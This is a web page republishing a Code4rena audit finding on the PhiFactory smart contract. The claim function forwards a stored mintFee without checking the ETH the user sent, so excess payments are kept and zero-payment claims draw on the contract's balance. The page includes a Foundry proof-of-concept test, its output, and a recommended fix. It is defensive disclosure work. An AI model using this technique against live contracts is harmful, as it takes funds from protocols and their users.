Skip to content
Business logic Audit finding Intermediate

PhiFactory:claim potentially causing loss of funds if mintFee changed beforehand

The claim function forwards a fixed mintFee as msg.value to an external call without checking the user's actual msg.value, so if the fee was lowered the user overpays without refund, and if the contract holds ETH a user can pay nothing and have the contract cover the fee.

pep7siup Follow with TECHFUND-inc, Tigerfrake and 16 others

Originally disclosed on Code4rena

Submitted by pep7siup, also found by 0xNirix (1, 2), TECHFUND-inc, Tigerfrake, 13u9, DigiSafe, federodes, Decap, waydou, EaglesSecurity, smaul, rscodes, willycode20, Gosho, 20centclub, Kaysoft, MrPotatoMagic, rbserver, 0xCiphky, and biakia

If the mintFee was lowered by the Art creator via updateArtSettings before the claim was executed, the msg.value from user would become larger than the updated value of mintFee. As the function does not validate msg.value and consumes the mintFee directly, the excess ETH sent by the user will not be refunded, causing a loss of funds for user.

If PhiFactory still holds positive ETH balance, a malicious user can exploit this by sending less msg.value than expected (or no ETH at all). This results in PhiFactory’s ETH being used for the mintFee payment instead, causing a loss for the protocol.

Proof of Concept

This external call to this.merkleClaim forwards the mintFee value of ETH without validating it against msg.value.

  • Found in src/PhiFactory.sol at Line 283

    264:    function claim(bytes calldata encodeData_) external payable {
        ...
    282:            uint256 mintFee = getArtMintFee(artId, quantity_);
    283: =>             this.merkleClaim{ value: mintFee }(proof, claimData, mintArgs, leafPart_);
    284:        } else if (art.verificationType.eq("SIGNATURE")) {
        ...
    304:    }
    

Similarly, this external call to this.signatureClaim forwards the mintFee value of ETH without validating it against msg.value.

  • Found in src/PhiFactory.sol at Line 300

    264:    function claim(bytes calldata encodeData_) external payable {
        ...
    299:            uint256 mintFee = getArtMintFee(artId, quantity_);
    300: =>             this.signatureClaim{ value: mintFee }(signature_, claimData, mintArgs);
    301:        } else {
        ...
    304:    }
    

Although the merkleClaim and signatureClaim functions can process refunds, the claim function calls of these two functions externally (defined as external instead of public), results in the msg.value being overridden by the mintFee. As a result, the original msg.value sent to claim() remains unvalidated and become vulnerable to exploits.

POC

Apply patch & run forge test -vvv --mt test_claim_exploit:

diff --git a/test/PhiFactory.t.sol b/test/PhiFactory.t.sol
index f999052..3b6853d 100644
--- a/test/PhiFactory.t.sol
+++ b/test/PhiFactory.t.sol
@@ -300,4 +300,43 @@ contract TestPhiFactory is Settings {
         assertEq(newRoyaltyReceiver, checkRoyaltyConfig.royaltyRecipient, "royalty receiver should be updated");
         assertEq(500, checkRoyaltyConfig.royaltyBPS, "royalty bps should be updated");
     }
+
+    function test_claim_exploit() public {
+        _createArt(ART_ID_URL_STRING); // artID 1
+        _createArt(ART_ID_URL_STRING); // artID 2
+
+        bytes[2] memory dataCompressed;
+
+        for (uint i = 0; i < dataCompressed.length; i++) {
+            bytes32 advanced_data = bytes32("1");
+            uint256 artId = i + 1;
+            bytes memory signData =
+                abi.encode(expiresIn, participant, referrer, verifier, artId, block.chainid, advanced_data);
+            bytes32 msgHash = keccak256(signData);
+            bytes32 digest = ECDSA.toEthSignedMessageHash(msgHash);
+            (uint8 v, bytes32 r, bytes32 s) = vm.sign(claimSignerPrivateKey, digest);
+            if (v != 27) s = s | bytes32(uint256(1) << 255);
+            bytes memory signature = abi.encodePacked(r, s);
+            bytes memory data =
+                abi.encode(artId, participant, referrer, verifier, expiresIn, uint256(1), advanced_data, IMAGE_URL, signature);
+            dataCompressed[i] = LibZip.cdCompress(data);
+        }
+
+        vm.startPrank(participant, participant);
+
+        // @audit claim artId 1 with extra 0.1 ETH to simulate the mintFee has been lowered right before
+        uint256 totalMintFee = phiFactory.getArtMintFee(1, 1);
+        phiFactory.claim{ value: totalMintFee + 0.1 ether }(dataCompressed[0]);
+        uint256 phiFactoryBalance1 = address(phiFactory).balance;
+        assertEq(phiFactoryBalance1, 0.1 ether, "balance is empty");
+        console2.log("phiFactory has extra %d after claim artId 1", phiFactoryBalance1);
+
+        // @audit claim artId 2 to exploit phiFactory balance since it has extra 0.1 ether
+        totalMintFee = phiFactory.getArtMintFee(2, 1);
+        phiFactory.claim{ value: 0 }(dataCompressed[1]); // 0 ETH was used
+        uint256 phiFactoryBalance2 = address(phiFactory).balance;
+        assertEq(phiFactoryBalance2, phiFactoryBalance1 - totalMintFee, "phiFactory balance not exploited");
+        console2.log("phiFactory after claim artId 2", phiFactoryBalance2);
+        console2.log("phiFactory loss %d after claim artId 2", phiFactoryBalance1 - phiFactoryBalance2);
+    }
 }

Result:

forge test -vvv --mt test_claim_exploit

Ran 1 test for test/PhiFactory.t.sol:TestPhiFactory
[PASS] test_claim_exploit() (gas: 2103923)
Logs:
  phiFactory has extra 100000000000000000 after claim artId 1
  phiFactory after claim artId 2 89550000000000000
  phiFactory loss 10450000000000000 after claim artId 2

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.78ms (1.92ms CPU time)

This confirms both cases where msg.value > mintFee and msg.value = 0 could be exploited, causing loss of funds for both users and the protocol.

Tools Used

Foundry test

Recommended Mitigation Steps

Validate msg.value against mintFee to ensure the caller sent in the correct amount of ETH. Or, forward msg.value directly to subsequent claim process since the _processClaim will eventually handle the refund.

Assessed type

Payable

0xDjango (judge) decreased severity to Medium

ZaK3939 (Phi) confirmed


The original report as published on Code4rena, by pep7siup. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the claim function uses the stored mintFee as the value for an external call instead of validating or forwarding the user's msg.value, so the user's payment is not checked against the required fee.

Impact

A user could lose excess ether if the mint fee was lowered, and if the contract holds ETH a user could mint without paying, causing a loss to the protocol.

What the attacker needed

Contract holds ETH for the zero-payment case; mint fee changed before claim for overpayment case

The fix

Validate msg.value against the mint fee, or forward msg.value directly to the subsequent claim process so refunds are handled.

How it was found

  1. Create two art pieces with different mint fees.
  2. Call claim for the first art, sending more ether than the current mint fee.
  3. Observe that the excess ether remains in the contract balance.
  4. Call claim for the second art without sending any ether.
  5. Observe that the contract balance decreases by the mint fee, showing the contract paid instead of the user.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you call a function that costs money, you send some ether with it. This contract ignores how much you actually sent and instead sends a fixed fee from its own balance to the next step. If the fee changed, you might pay too much and get nothing back, or if the contract has spare ether, you might pay nothing and the contract loses money.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by pep7siup

View all

2 more disclosed reports, best first.

More from Phi

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.